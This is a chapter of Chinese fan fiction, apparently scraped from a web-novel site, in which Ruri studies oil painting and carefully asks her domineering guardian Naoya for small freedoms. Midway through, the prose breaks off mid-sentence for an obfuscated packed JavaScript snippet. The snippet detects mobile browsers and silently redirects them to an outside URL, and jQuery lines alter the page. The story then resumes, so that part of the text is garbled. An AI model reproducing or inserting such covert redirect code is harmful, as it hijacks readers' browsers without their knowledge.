12.油画
作品:《在直哉手中艰难求生》 琉璃开始跟着小泉老师学油画。她之前学过一点,但机会难得,她学得很认真。
油画需要的工具比素描多一些。琉璃仔细闻了几遍,颜料是没有什么味道的,直哉来的时候应该闻不到。而且,他来的时候,她应该早就把东西收拾好了。
“没关系的,这种颜料味道很小,一会就散了。”小泉老师见她闻个不停,笑着制止了她。
琉璃有点不好意思了。她咬住嘴唇,小声回答:“我,我是害怕直哉大人来的时候,闻到了会不喜欢。”
“为什么会不喜欢呢?”小泉老师紧接着问。
琉璃没想到老师会问这样的问题,一时间愣住了。她扭头看向老师,有些不大明白这个问题的意思。她用理所当然的语气回答:“当然会不喜欢了,这里是他的地方,我只是暂时住在这里。弄上味道的话,很不好。”
“琉璃,虽然这话不该我说……”小泉老师握住了琉璃的手。她斟酌了一下语句,眼神很温柔,“但是,如果只是让你暂时住一会,为什么要把这里弄成这个样子?”
琉璃不说话了。她呆呆地看着老师张合的嘴唇,不知道怎么回答。这是她之前思考过的问题,但是她从来没有得出过答案。
“之前,我跟你班主任铃村老师聊天的时候,听说了一件事。”小泉老师不再提刚刚的事了。她笑了笑,像是在说什么新奇的话,“那时候,不是要弄学生的毕业指导吗,还要家长会谈,记得吗?”
琉璃当然记得。但那时候班主任说没关系,所以她觉得是跟她无关的事,而且以后也不会再去学校了。
“铃村跟我说,那天正好下雨,琉璃同学的家长去了学校,很有气势,把他吓了一跳。”小泉老师跟班主任的关系很好,说这话的时候一直在笑,“我就问他有什么好吓一跳的,他说‘那个人一头金发,一口京都腔,完全不像孩子的家长,毕竟年纪不对嘛’。”
金发,京都腔,是直哉。琉璃咬住嘴唇,怀疑自己听到的内容。开玩笑的吧,他怎么会去学校。那天,他不是有事去学校附近的吗?他明明讨厌下雨天,怎么会为了什么会谈去学校。
小泉老师说得很认真,看不出玩笑的痕迹。而且,老师根本没有开玩笑的必要。这种事,开了玩笑也没什么好处。
琉璃渐渐相信了这些话。班主任的讶异对的,因为差了五岁,所以并不是家长的年纪。不,与其这么说,不如说直哉跟她本来就没有任何关系。
如果直哉知道他被称为她的家长的话,他恐怕会冷笑一声,觉得她压根不配吧。
那天放学后,班主任确实找了她,欲言又止,最终也只是让她路上小心。她拉开车门,直哉坐在后座,穿着西装,看到她站在车门旁,恶声恶气地让她赶紧上车。
直哉平时很少穿西装,琉璃那时候就觉得奇怪,原来他是为了家长会谈才穿的。
不,她想起那天的情况,觉得自己未免太自作多情了。应该只是顺路,直哉去学校附近有事,所以才会去的。
一时兴起,也是有的。
“会谈的话,都说了什么呢?”琉璃想起那天潮湿的天气,小声问。哪怕只是顺路做的事,她也要问一下。
关于她的未来,直哉都说了什么?那时候,他就打算让她来这里了吗?
琉璃等待着答案,却看到小泉老师摇了摇头,“铃村没有告诉我,毕竟是学生的私事嘛。”
这样啊。听了这些话之后,琉璃却有种如释重负的感觉。不知道也好,不知道也好。她笑了一下,“谢谢老师告诉我这些。”
小泉老师走后,琉璃清洗好画笔,看着画室里的各种画具。这些,应该都是直哉让人准备的吧。
她搞不清楚直哉在想什么。他从来不说自己的内心想法,她猜不透。或者说,她不敢猜,巨大的落差吞噬了她确认的勇气。
而且,他之前说过的那些话反复回响在耳边。在直哉眼里,她是一个弱者,是一个应该上吊去死的人。她思考这种问题,是一件没有任何意义的事。
梅雨季结束了,天气越来越热。透过闭合的窗帘,琉璃看到了楼下绿茵茵的树木。公寓的气温好像是固定的,穿着睡衣也不会热。她抱住自己的膝盖,缓缓地叹了口气。
“出去了没?”直哉把茶杯放到茶几上,突然问了这个问题。
琉璃抬头看过去,看到了他轮廓分明的侧脸。他没有看她,而是看着前方问出了这个问题。
“出去了,上课之前,和小泉老师一起去了下面的公园。”琉璃收回视线,紧张地攥住了手,才能正常回答他的问题。
“多长时间?”直哉紧接着问。
“半个小时左右。”琉璃觉得他问得未免太仔细了一点,觉得很奇怪,但仍旧认真地回答。
像是知道她内心的想法一样,直哉低头看了过来。他看她的时候,眼睛里探究的意味很明显,好像要看出点什么重要的信息一样。
他的眼睛过于深邃,带点锐利感,那种压迫感又来了。单独跟他待在一起的时候,琉璃总会有点害怕。她迅速地低下了头,小声问出了自己很在意的问题:“直哉大人,我最近在学油画,颜料可能会有点味道,您闻到了吗?”
“没有。”直哉回答,是那种慵懒的,懒洋洋的语气,“我又不是狗鼻子,什么都能闻到。”
琉璃不知道该说什么了,他好像从来没用这种语气跟她说过话。她嗯了一声,小心翼翼地回答:“谢谢您。”
“有什么好谢的,啰嗦。”直哉啧了一声,满不在乎地把茶杯里的茶喝完了。
谢什么呢,只有琉璃知道。他不说,应该就是不想她知道的意思,所以她没有解释。
像养了一只宠物一样,她想。主人大概是不会对养的宠物解释自己都做了什么的吧。“我给你买了笼子,买了食物”这样的话,似乎不需要专门跟被饲养的宠物说。
所以他才不说的。
但是,该感激的,该怀着这样感激的心思在这里生活的。什么都不要问,这样就好。琉璃这么想着,刻意忽略了胸腔里缓慢传来的疼痛感。
天色渐晚,直哉起身,示意要走了。他看了眼已经站起来,准备跟他弯腰告别的琉璃,皱眉道:“这几天有点事,推不掉,应该不会来了。你好好待着,有事打电话。”
琉璃还是没有拨打过任何一个电话,她觉得自己不会有什么事。只是,这次她也点了头,回答:“好的,我知道了,直哉大人。”
直哉站在玄关,心不在焉地换好了鞋子,再次看向不远处一言不发的琉璃。她太安静了,身上那种寂静感越来越重。
他顿了一下,还是没有说话。
门合上了。
琉璃退回之前坐的位置,身上完全没有力气。每次直哉来了,她都要耗费很多心神和精力来应对。哪怕他来的时间不长,不会做什么,也不会说很多话,她也还是紧张,还是会有点害怕。
好累,她把脸埋在膝盖里,略显费力地呼吸着。连晚饭都不想吃,她只想休息。
接下来几天,直哉果然像那天说的一样,没有来公寓。琉璃照常生活,有美术课的时候,会和小泉老师在楼下的公园待半个小时。
这边的空气很好,琉璃觉得比禅院家那边清新多了。禅院家总是很压抑,那边只崇尚力量,没有人情味。这边则不同,没有那套规则,她可以做自己喜欢的事,不用小心翼翼地察言观色。
到时间了,琉璃跟小泉老师告别,站在电梯口等待着。刚开始下楼散步的时候有点紧张,但次数多了,她也渐渐习惯了这样的生活。时间越久,她就越自在,觉得这边的生活真的很轻松。
电梯很快就到了一楼。提示音响起,电梯门开了。琉璃本来要走进去,但里面的人让她不由自主地停住了脚步。
里面的人,个子很高,正低着头看手机。察觉到外面的视线,他抬起头,挑了挑眉,咧嘴笑了一下,“不进来,愣在外面干什么,不回去?”
“回去的。”琉璃赶紧应了一声,进了电梯。她紧张地咬住嘴唇,偷偷地用余光看站在一旁的人。
是直哉,但跟他平时的样子完全不一样。
他穿了一身黑色西装,很合身,显得他非常挺拔。他没有戴耳钉,头发向上梳起,大概是用了发胶,固定得很好,完全露出了额头。这样的装束更显得他英挺,少了点平时的懒散,多了点正式感。
原来金发下面,还有点黑发,所以一旦梳上去,黑发就在金发上面了。琉璃一直知道直哉有一副好皮相,但她完全没见过这样的他,不由得多看了几眼。
这样的话,是去参加了什么正式活动吗?好像比平时更好看一点,会贵气一些。她若有所思地低下头,看到了他穿着的皮鞋。
“看什么。”直哉突然出声。他把手机放到口袋里,说起话来是略显黏糊的京都腔,“没见过我?”
琉璃没有抬头,自然看不到直哉脸上的表情。他很少用这种腔调跟她说话,她不由得愣了一下,头更
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17384968|199231||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
低了。她觉得很尴尬,答非所问道:“对不起,直哉大人。”
电梯到了目的楼层,门开了。直哉没有回答,率先走了出去。琉璃犹豫一下,落后几步,才跟了出去。
她记得,他应该是不喜欢女人跟他并肩走路的吧,说要落后三步来着。她之前并没有具体的认知,觉得这种事跟她无关。但是真到了这种时候,“落后三步”这句话突然就浮现在脑海中,让她下意识停住了脚步。
“你在干什么。”直哉却回头,皱眉看着她,语气有点差,“太长时间不出门,路也不会走了吗?”
欸?琉璃惊讶地看着他,他停在那里不动,没有任何表示。她迷茫地眨了眨眼,想她这不是刚出门吗,怎么会是太久不出门呢?但是很快,她就意识到他话里的重点是嫌她走在后面。
可是……
几番犹豫下,她试探性地走了过去。只是几步路罢了,她告诉自己,根本没关系。直哉站在原地,见她过来,才继续往前走,表情比刚刚要缓和很多。
直哉打开门锁,琉璃跟在后面,轻手轻脚地关好了门。她坐在地毯上,看到直哉去了浴室。
刚刚又没有问好。琉璃有的时候反应会慢一些,等她反应过来的时候,问好的时机早就过去了。一开始她会非常紧张,怕直哉生气,但现在看来,他好像并不太在意这些,有的时候甚至会打断她的话。
她不知道他去了哪里,做了什么事,但想着要泡点茶给他喝。她把茶杯放到茶几上,又打开电视,把音量调高了一点。
过了一会,直哉擦着头发过来了。他换了一身家居服,头发散着,自然地坐到了沙发上。
空气里是熟悉的沐浴露味道。琉璃悄悄打量着直哉,发现他看上去心情好像还可以。她都不知道这里还有他的衣服,再加上也没见过他这副放松的样子,竟然有点不适应。
“直哉大人,我,我有件事想问您。”琉璃鼓起勇气说了。
直哉靠在沙发上,扭过头看她,“什么事,直接说。”
“我可以给之前学校的朋友打电话吗,用那个座机。”琉璃尽量控制着自己的声音,“有段时间没见了,我想联系一下。”
直哉没有立刻回答。他收回视线,手指敲击了几下沙发的边缘,才回答:“坐你前边那个,还是另外那个?”
琉璃没想到他会问得这么细致,但还是认真解释道:“是坐在我前面的秋子,当时秋子给了手机号码,我想可以打那个号码。”
“随你便。”直哉很快下了结论。他揉了揉眉心,声音比之前要轻一点。
琉璃松了口气。她想趁着直哉心情不错的时候一口气确认,便又鼓起勇气开口道:“我,我可以出门跟秋子见面吗?如果我们约好的话。”
“哈?”直哉收回手,似乎是觉得不可思议。他立刻看向坐在地毯上的琉璃,突然啧了一声,语气又恶劣了起来,“这几天不行,我可没空陪小鬼出去玩。”
谁是小鬼啊,琉璃有点不开心了。就算直哉年纪比她大,她也不是小鬼,她已经成年了。但她不敢表现出来,又低下了头,闷声道:“我知道了,直哉大人。”
“麻烦。”直哉又嘟囔了几句话。只是他声音太小,琉璃没有听清楚。过了一会,他喝了口茶杯里的茶,“以后出去散步的时候,不要穿睡衣。”
欸?琉璃觉得只是出去半个小时,没必要换衣服。她吃惊地仰头看他,发现他看上去十分放松,一副居家模样,摇头道:“傻死了。谁出门穿睡衣啊,衣柜里不是有很多裙子吗。”
琉璃觉得,直哉好像有点不一样了。以前,他们之间总是隔着巨大的屏障,距离感很重。他是少主,是禅院家里尊贵的,被捧在高处的人。
他绝对不会用这样的语气跟她说话,更别说展露出现在这副模样了。
但是,这不代表他们的距离近了。屏障始终都在,这些变化应该是环境更换导致的。禅院家跟这里,是完全不同的地方。直哉会放松,也是理所当然的事。这里是他的地方,他想是什么样子,就是什么样子。
而且,她不太喜欢被人说傻。她觉得自己虽然不是特别聪明,但也不至于到傻的程度。
在直哉眼里,只有他是聪明的,其他人都是傻子。他眼里只有强者,没有弱者。强者在弱者面前,总是这样的。直哉眼里,是没有她的存在的,所以他可以是任何样子。
不过,她不会说这些想法,只是抿了抿嘴唇,又重复道:“我知道了,直哉大人。”

